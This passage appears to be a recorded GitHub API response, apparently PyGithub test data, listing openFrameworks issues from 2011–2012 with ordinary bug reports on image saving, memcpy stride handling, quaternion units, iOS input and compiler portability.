overshoots the src pixel array because dstStride can be larger than srcStride.\r\n\r\nIn ofImage.cpp \r\n\r\ngetBmpFromPixels()\r\n\r\naround line 119, I believe, it should read:\r\n\r\nCode:\r\nview plaincopy to clipboardprint?\r\n... \r\n int srcStride = width * pix.getBytesPerPixel(); \r\n int dstStride = FreeImage_GetPitch(bmp); \r\n unsigned char* src = (unsigned char*) pixels; \r\n unsigned char* dst = bmpBits; \r\n for(int i = 0; i < (int)height; i++) { \r\n // memcpy(dst, src, dstStride); \r\n memcpy(dst, src, srcStride); // did overshoot with e.g. grayscale img of size 3026*2048 \r\n src += srcStride; \r\n dst += dstStride; \r\n } \r\n... \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/698","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":698,"html_url":"https://github.com/openframeworks/openFrameworks/issues/698","assignee":null,"title":"getBmpFromPixels memcpy issue / ofImage::resize issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-08-03T18:15:55Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1339116,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-21T15:34:07Z","body":"I'm trying to build ofxPd in Visual Studio and running into multiple define issues related to the videoinput lib, namely static `verbose`: https://github.com/openframeworks/openFrameworks/blob/master/libs/videoInput/include/videoInput.h#L115\r\n\r\nCouldn't this variable as well as `comInitCount` be moved to the implementation files? or at least in a header hidden from the global namespace? At the least, `verbose` could be renamed to something not so common ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/697","comments":1,"milestone":null,"number":697,"html_url":"https://github.com/openframeworks/openFrameworks/issues/697","assignee":null,"title":"videoinput lib global statics","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-08-03T02:27:52Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":1334657,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T00:53:30Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/685","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":685,"html_url":"https://github.com/openframeworks/openFrameworks/issues/685","assignee":null,"title":"update shader example to work on ati.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-07-28T15:57:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1303812,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:40:42Z","body":"It is very annoying if you can not disable autocorrections in ofxiPhoneKeyboard. Specially for creative uses of this class. I add code how to add this feature.\r\n\r\n[CODE] Add to ofxiPhoneKeyboard class:\r\n\r\n- (void)disableAutoCorrection;\r\n- (void)enableAutoCorrection;\r\n\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::disableAutoCorrection()\r\n{\r\n [keyboard disableAutoCorrection];\r\n}\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::enableAutoCorrection()\r\n{\r\n [keyboard enableAutoCorrection];\r\n}\r\n\r\n- (void)disableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeNo;\r\n}\r\n\r\n- (void)enableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeYes;\r\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/684","comments":0,"milestone":null,"number":684,"html_url":"https://github.com/openframeworks/openFrameworks/issues/684","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhoneKeyboard should have disable/enable methods for auto correction","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-07-28T12:12:52Z","state":"open","user":{"url":"https://api.github.com/users/mcanet","gravatar_id":"e4d2b0151a843dde7b815b848170d6e9","login":"mcanet","avatar_url":"https://secure.gravatar.com/avatar/e4d2b0151a843dde7b815b848170d6e9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":308759},"id":1302375,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-24T18:26:54Z","body":"I think there's a bug in ofQuaternion in of007. When i use ofNode's setOrientation() or ofNode setRoll I can rotate my ofNode object around the Z axis. However when I try to obtain the current rotation around the Z axis it will always give a value like -180, 0 or 180.\r\n\r\nRick","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/679","comments":0,"milestone":null,"number":679,"html_url":"https://github.com/openframeworks/openFrameworks/issues/679","assignee":null,"title":"possible bug in getEuler / getOrientation / getRoll","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-24T18:26:54Z","state":"open","user":{"url":"https://api.github.com/users/companje","gravatar_id":"30a7e135fe77636519d74d129c60e156","login":"companje","avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":156066},"id":1278252,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T22:13:24Z","body":"I know that with the 007 release ofxDirList addon is deprecated and instead we are encouraged to use ofDirectory to achiece the same kind of functionality. In fact the are so similar that is possible to use them interchangeably. To do that transparently you changed the ofxDirList.h so that it made a typedef to point to ofDirectory (and will probably remove it completely someday).\r\n\r\nThe contents of ofxDirList.h are the following:\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n#pragma once\r\n\r\n#include \"ofFileUtils.h\"\r\n\r\n#warning ofxDirList has been deprecated. \r\n#warning Remove all references to ofxDirList.h and use ofDirectory instead.\r\ntypedef ofDirectory ofxDirList;\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\nSo far so good. The problem is that you use the #warning preprocessing directive is non-standard and unsupported on Visual C++ compiler. In fact it gives me an error while building a project that I ported from 0062 version that used ofxDirList. To make it work I had to comment the two #warning lines. \r\n\r\nI suggest that you remove the #warning directives and replace it with something else that works across all compilers. I know that the #warning directive works on GCC and MinGW but not on VC++ so if you are going to support all those compilers (like you do) you better have all of your code working across all of them.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/676","comments":2,"milestone":null,"number":676,"html_url":"https://github.com/openframeworks/openFrameworks/issues/676","assignee":null,"title":"ofxDirList deprecated #warning directive preprocessor Visual Studio 2010","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-23T01:19:54Z","state":"open","user":{"url":"https://api.github.com/users/petersaints","gravatar_id":"03848790c2ebb8e5edbe130e8ce76f1d","login":"petersaints","avatar_url":"https://secure.gravatar.com/avatar/03848790c2ebb8e5edbe130e8ce76f1d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157810},"id":1273716,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-21T11:29:24Z","body":"changed this in dirListExample\r\n\r\n ofFile testfile;\r\n\t// you can now iterate through the files and load them into the ofImage vector\r\n\tfor(int i = 0; i < (int)dir.size(); i++){\r\n\t\timages[i].loadImage(dir.getPath(i));\r\n\t\ttestfile.open(dir.getPath(i));\r\n\t\tcout << testfile.isFile() << endl; //THIS LINE SEGFAULTS ON WIN7\r\n testfile.close();\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/671","comments":0,"milestone":null,"number":671,"html_url":"https://github.com/openframeworks/openFrameworks/issues/671","assignee":null,"title":"isFile() segfaults on win7","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-21T11:27:16Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":1262459,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-21T10:39:29Z","body":"just added output to all events in an emptyExample on windows7 64bit.\r\n\r\nif im clicking, the following output occurs even if the mouse is not moved\r\n\r\n mousePressed\r\n mouseReleased\r\n mouseMoved","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/670","comments":2,"milestone":null,"number":670,"html_url":"https://github.com/openframeworks/openFrameworks/issues/670","assignee":null,"title":"mouseReleased fires mouseMoved too (win7)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-21T09:34:52Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":1261982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=9 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4935'), ('content-length', '45016'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"c403779e3346f56dddb655b8bb57d5ae"'), ('date', 'Tue, 29 May 2012 19:27:18 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-09T06:11:12Z","body":"I'm curious why the movieplayer uses AvAsset instead of AvPlayer which seems better suited for OF needs ( seeking / looping etc ) \r\n\r\nhttp://developer.apple.com/library/ios/#documentation/AVFoundation/Reference/AVPlayer_Class/Reference/Reference.html\r\n\r\nhttp://stackoverflow.com/questions/5361145/looping-a-video-with-avfoundation-avplayer\r\n\r\n\r\nI think you can get init a player with an AVAsset:\r\nhttp://developer.apple.com/library/ios/#documentation/AVFoundation/Reference/AVPlayer_Class/Reference/Reference.html%23//apple_ref/occ/instm/AVPlayer/initWithPlayerItem:\r\nhttp://developer.apple.com/library/ios/documentation/AVFoundation/Reference/AVPlayerItem_Class/Reference/Reference.html#//apple_ref/occ/instm/AVPlayerItem/initWithAsset:\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/666","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":666,"html_url":"https://github.com/openframeworks/openFrameworks/issues/666","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"iphone video player should use AVPlayer ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-07-20T20:01:04Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1258863,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-01-08T04:45:01Z","body":"In some cases, when modifier keys are used, the pressedKeys set will accumulate keys.\r\n\r\nThis happens because \"modifier-up\" messages are not sent in the same way as normal and special keys.\r\n\r\nTo test, watch the size of the pressedKeys:\r\n\r\n cout << pressedKeys.size() << \" num pressed keys \" << endl;\r\n\r\nPress a modifier key and a normal key -- say ctrl-a. If the 'a' is lifted first, then the modified-a key int is removed from the pressedKeys set. If CTRL is released before the 'a', then the non-modified-a key-up int is sent, and it is not erased from the pressedKeys set. If this is repeated with different modifier+key downs / ups the accumulation occurs.\r\n\r\nUltimately, there needs to be better handling of modifier keys. Perhaps there is a way to use the modifier masks keep track of modifier keys with a call to glutGetModifiers() in the keyboard_cb and keyboard_up_cb static methods?\r\n\r\nIt looks like progress has been made toward this in ofConstants.h\r\n\r\n\t#define OF_KEY_CTRL\t\t\t0x0200\r\n\t#define OF_KEY_ALT\t\t\t0x0300\r\n\t#define OF_KEY_SHIFT\t\t0x0400\r\n\r\nBut it seems to have stopped there.\r\n\r\nI'm happy to work on this -- any suggestions on a strategy? Perhaps this is already being addressed of 007?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/652","comments":5,"milestone":null,"number":652,"html_url":"https://github.com/openframeworks/openFrameworks/issues/652","assignee":null,"title":"ofAppGlutWindow/ofEvents: pressedKeys accumulate in special cases","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-15T18:49:46Z","state":"open","user":{"url":"https://api.github.com/users/bakercp","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","login":"bakercp","avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":300484},"id":1231959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-20T19:04:31Z","body":"If you use those these two together the 3d objects get an unwanted offset\r\n\r\ncode:\r\n\r\n```c++\r\nvoid testApp::draw()\r\n{\r\n \r\n cam.begin();\r\n ofPushMatrix();\r\n ofSetColor(255,255,255);\r\n ofBox(200);\r\n ofPopMatrix();\r\n cam.end();\r\n \r\n \r\n fbo.begin();\r\n cam.begin();\r\n \r\n ofClear(0);\r\n ofPushMatrix();\r\n ofSetColor(0,0,0);\r\n ofBox(200);\r\n ofPopMatrix();\r\n \r\n cam.end();\r\n fbo.end();\r\n \r\n \r\n glPushMatrix();\r\n //ofTranslate(0,6,0); <--- now i'm using something like this to \"repair\" it\r\n ofSetColor(255,255,255,255);\r\n glScalef(1,-1,1);\r\n fbo.draw(0,- ofGetHeight());\r\n glPopMatrix();\r\n \r\n \r\n \r\n}\r\n```\r\n\r\nNormally the two boxes should overlap completely, instead it looks like this:\r\n\r\n![screen1](http://i51.tinypic.com/11cfi1l.png)\r\n![screen2](http://i55.tinypic.com/2ewnv5i.png)\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/651","comments":4,"milestone":null,"number":651,"html_url":"https://github.com/openframeworks/openFrameworks/issues/651","assignee":null,"title":"ofFBO + ofCamera = unwanted offset","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-07-15T13:21:44Z","state":"open","user":{"url":"https://api.github.com/users/toxin20","gravatar_id":"29a3b85e704ec06a72df8897a726920e","login":"toxin20","avatar_url":"https://secure.gravatar.com/avatar/29a3b85e704ec06a72df8897a726920e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":123776},"id":1230184,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-19T00:31:38Z","body":"\r\nA tiny issue I spotted:\r\n\r\nofQuaternion.cpp, line 14:\r\n\r\n```C++\r\n/// Set the elements of the Quat to represent a rotation of angle\r\n/// (radians) around the axis (x,y,z)\r\nvoid ofQuaternion::makeRotate( float angle, float x, float y, float z ) {\r\n\tangle = ofDegToRad(angle);\r\n```\r\n\r\nof**X**Quaternion::makeRotate used to take radians, only noticed as I was moving some old code over, otherwise I would have just looked at the code in ofQuaternion.cpp to see the angle type. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/646","comments":1,"milestone":null,"number":646,"html_url":"https://github.com/openframeworks/openFrameworks/issues/646","assignee":null,"title":"ofQuaternion::makeRotate takes degrees, used to take radians, documentation says radians","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2011-07-13T15:18:04Z","state":"open","user":{"url":"https://api.github.com/users/andreasmuller","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","login":"andreasmuller","avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":791114},"id":1216274,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-12T16:05:23Z","body":"^^^^\r\nTried on Mac:\r\nhttps://gist.github.com/1078282","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/645","comments":0,"milestone":null,"number":645,"html_url":"https://github.com/openframeworks/openFrameworks/issues/645","assignee":null,"title":"ofVideoGrabber::listDevices() does not list devices when initGrabber not called","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-12T16:05:23Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1209436,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-16T04:21:18Z","body":"https://gist.github.com/1077933\r\n\r\nsaving images converted to 8PP using ofImage::setImageType(OF_IMAGE_GRAYSCALE) and then calling saveImage() save blank on windows, but works on OS X\r\n\r\ntraced the issue down to the call to FreeImage_Save(), both seem to be the same. not sure what the problem is\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/643","comments":1,"milestone":null,"number":643,"html_url":"https://github.com/openframeworks/openFrameworks/issues/643","assignee":null,"title":"8 BPP (grayscale) ofImage saves blank on Windows, fine on os x","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-12T13:05:25Z","state":"open","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"id":1208289,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:42:09Z","body":"Forum issue: http://forum.openframeworks.cc/index.php/topic,6316.new.html#new\r\n\r\nThis may be related to using CADisplayLink. When openGL seems to be pushed a bit, touch events seem to drop or are delayed. When using NSTimer in ofxiPhoneAppDelegate instead of CADisplayLink this does not occur.\r\n\r\nIt may be beneficial for developers to set whether they'd like to use CADisplayLink (if available) vs NSTimer for rendering or not.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/642","comments":0,"milestone":null,"number":642,"html_url":"https://github.com/openframeworks/openFrameworks/issues/642","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhone: Possible delayed input/touch event issue ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-12T02:46:23Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1205789,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-12T13:03:00Z","body":"See title and test code:\r\nhttps://gist.github.com/952bd35591dc0cb23f61","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/631","comments":1,"milestone":null,"number":631,"html_url":"https://github.com/openframeworks/openFrameworks/issues/631","assignee":null,"title":"ofImage::saveImage() - saving from png to gif creates grayscale image","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-07T21:37:47Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1185346,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"Tried to load a text file over https but I got this message:\r\n\r\n``400 The plain HTTP request was sent to HTTPS port\r\n

400 Bad Request

The plain HTTP request was sent to HTTPS port

nginx/1.0.4
``\r\n\r\n\r\n\r\nUsing this code\r\n``ofHttpResponse resp = ofLoadURL(\"https://raw.github.com/openframeworks/openFrameworks/6af1dc980f6d93d84b3bf8fdc1b6435697be9ed9/readme.txt\");``\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/623","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":623,"html_url":"https://github.com/openframeworks/openFrameworks/issues/623","assignee":null,"title":"ofLoadURL() does not work with httpS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-06T18:12:06Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1175654,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-06T18:09:03Z","body":"Setting the position of an ofEasyCam instance in ofSetup() does not work. What does work in testApp::setup() is calling ofEasyCam::setDistance(). When calling ofEasyCam::setPosition() in for example testApp::draw() does work.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/618","comments":0,"milestone":null,"number":618,"html_url":"https://github.com/openframeworks/openFrameworks/issues/618","assignee":null,"title":"call ofEasyCam::setPosition in testApp::setup() is 